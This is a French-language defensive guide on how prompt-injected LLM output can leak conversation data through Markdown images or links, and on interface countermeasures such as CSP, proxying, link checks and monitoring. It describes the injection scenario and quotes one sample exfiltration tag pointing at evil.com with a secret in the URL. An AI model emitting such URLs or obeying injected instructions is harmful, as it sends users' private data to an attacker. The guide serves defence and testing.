Aller au contenu

Cercle IA .tech · Technique

Cercle IA TechSécurité

Guide

Fuite par image Markdown : comment l'empêcher

Une image ou un lien généré par un LLM peut emporter des données dans son adresse. Mécanisme, parades côté interface (CSP, proxy, liens) et essai à faire.

Mis à jour le

Le scénario est simple. Un assistant lit un document, un courriel ou une page web qui contient une consigne cachée. Cette consigne lui demande de terminer sa réponse par une image Markdown dont l'adresse contient un résumé de la conversation. L'interface affiche la réponse, le navigateur télécharge l'image, et le serveur de l'attaquant reçoit les données dans la requête. L'utilisateur n'a rien cliqué. Cette page explique le mécanisme et les parades côté interface (sources relues le 19/11/2026). Elle approfondit un point de la sortie d'un LLM non validée et de la fuite de données par une IA.

Le mécanisme, d'après les sources

La fiche de l'OWASP sur la prévention des injections de prompt donne un exemple de balise image cachée utilisée pour l'exfiltration, du type <img src="http://evil.com/steal?data=SECRET">, et cite parmi les risques ceux du rendu Markdown en flux. L'entrée « traitement inapproprié des sorties » du Top 10 OWASP 2025 (LLM05) range ce cas dans une défaillance plus large : l'absence de validation et d'encodage de ce que produit le modèle. Le billet du MSRC décrit le même canal : une injection fait produire au modèle une balise image HTML, ou son équivalent Markdown, dont la source est le serveur de l'attaquant ; le rendu de l'image fait contacter ce serveur, et les données partent sans interaction de l'utilisateur. Le billet évoque aussi le lien cliquable vers le serveur de l'attaquant, qui demande, lui, un clic.

Deux variantes à distinguer :

Variante Déclencheur Ce qui fuit
Image Rendu automatique de la réponse Ce que contient l'adresse (paramètres, chemin)
Lien Clic de l'utilisateur Idem, plus l'identité de celui qui clique

Les parades, de la plus sûre à la plus fine

1. Ne pas charger d'images distantes depuis une réponse de modèle. La plus simple. La fiche OWASP demande d'assainir le HTML et le Markdown avant l'affichage ; le billet du MSRC rapporte une approche de blocage déterministe du canal, c'est-à-dire qui ne dépend pas du jugement du modèle.

2. Restreindre les origines d'images avec une politique de sécurité du contenu (CSP). La directive img-src précise les sources valides d'images. La documentation MDN donne l'exemple Content-Security-Policy: img-src https://example.com/ : une image servie depuis une autre origine n'est pas chargée. Pour une interface de conversation interne, on peut réduire la liste à vos propres domaines. L'OWASP recommande une CSP stricte contre les attaques par contenu généré (en citant le XSS).

Content-Security-Policy: img-src 'self' https://images.votre-entreprise.exemple

(adapté de l'exemple MDN, noms de domaines fictifs). Une CSP bloque le chargement, elle n'empêche pas le modèle d'écrire l'adresse : on y ajoute les mesures suivantes.

3. Faire passer les images nécessaires par un serveur à vous. Quand l'affichage d'images externes est indispensable, un service intermédiaire peut les récupérer à la place du navigateur, après contrôle de l'adresse, et retirer les paramètres porteurs de données. C'est notre proposition, pas une prescription des sources citées ; elle prolonge l'idée de l'OWASP d'encoder la sortie selon sa destination, et elle ne vaut que si ce service filtre vraiment (liste de domaines, taille et format des images).

4. Traiter les liens à part. Afficher l'adresse réelle avant ouverture, ou n'autoriser que des liens vers des domaines connus. Le billet du MSRC mentionne le blocage de la génération de certains liens non fiables.

5. Réduire ce que le modèle peut voir. L'exfiltration n'emporte que ce qui est dans le contexte. Vérifier les droits d'accès aux documents avant la lecture par le modèle, et ne pas verser de secrets dans la conversation. Voir garde-fous d'entrée et de sortie.

6. Surveiller. La fiche OWASP conseille de surveiller les sorties pour détecter les signes d'une injection réussie. Une réponse qui contient une adresse inhabituelle ou un paramètre très long mérite une alerte. Voir journaliser un système d'IA.

Un essai à faire

Dans une interface de test, avec des données fictives et un serveur de réception que vous maîtrisez : demandez à l'assistant (ou injectez dans un document de test) une réponse contenant une image Markdown dont l'adresse pointe vers ce serveur, avec un paramètre q=MARQUEUR-DE-TEST. Regardez dans les journaux du serveur de réception et dans l'onglet réseau du navigateur : la requête part-elle ? Refaites l'essai avec un lien, avec une image coupée en plusieurs fragments de flux, et après chaque changement de version du composant d'affichage. Le résultat attendu est qu'aucune requête n'atteigne le serveur sans action volontaire.

Où placer le contrôle

Trois endroits sont possibles, et ils ne se valent pas. Dans le composant d'affichage, on décide ce qui est rendu : c'est le plus sûr, car le navigateur ne voit jamais l'adresse. Dans les en-têtes de la page (la CSP), on borne ce que le navigateur accepte de charger, même si le rendu laisse passer une balise. Dans le modèle ou ses consignes, on demande de ne pas produire d'images : c'est le moins fiable, puisque c'est précisément ce qu'une injection réussie contourne. L'OWASP le résume pour toute la sortie : la traiter comme non fiable à chaque usage en aval. Gardez donc les deux premiers niveaux comme barrière et utilisez le troisième seulement comme confort.

Limites

  • Une CSP ne couvre que les navigateurs qui la respectent et les ressources qu'elle liste : une application mobile ou un client de messagerie qui rend le Markdown a ses propres règles.
  • Supprimer les images ne ferme pas les autres canaux : un outil de l'agent qui envoie un courriel ou appelle une API peut transporter les mêmes données. C'est un problème de droits et de validation humaine : permissions d'un agent et humain dans la boucle.
  • Aucune parade ne remplace la réduction du contexte et le moindre privilège.

Pour aller plus loin

Pour contrôler l'interface de votre assistant (rendu, CSP, liens, journaux), une revue technique sur pièces produit des priorités écrites ; une séance avec un expert peut cibler cet unique point. Vous pouvez aussi en parler d'abord.

Questions fréquentes

Pourquoi une simple image peut-elle faire fuir des données ?

Pour afficher l'image, le navigateur contacte l'adresse indiquée. Si cette adresse appartient à un attaquant et contient des morceaux de la conversation, il les reçoit dans ses journaux, sans que l'utilisateur ait cliqué sur quoi que ce soit.

Filtrer les mots dangereux dans la réponse suffit-il ?

Non. La fiche de l'OWASP sur la prévention des injections indique que le filtrage de mots-clés en sortie ne suffit pas, et recommande de traiter la sortie du modèle comme non fiable à chaque usage en aval.

Que fait Microsoft contre ce canal ?

Dans un billet du MSRC de juillet 2025, relu le 19/11/2026, l'éditeur dit avoir pris des mesures pour bloquer de façon déterministe l'effet de sécurité de cette technique d'exfiltration, et d'autres, comme la génération de certains liens non fiables.

Références du carnet

Pages consultées pour écrire cet article :

  1. https://cheatsheetseries.owasp.org/cheatsheets/LLM_Prompt_Injection_Prevention_Cheat_Sheet.html
  2. https://genai.owasp.org/llmrisk/llm052025-improper-output-handling/
  3. https://www.microsoft.com/en-us/msrc/blog/2025/07/how-microsoft-defends-against-indirect-prompt-injection-attacks
  4. https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/img-src

À lire aussi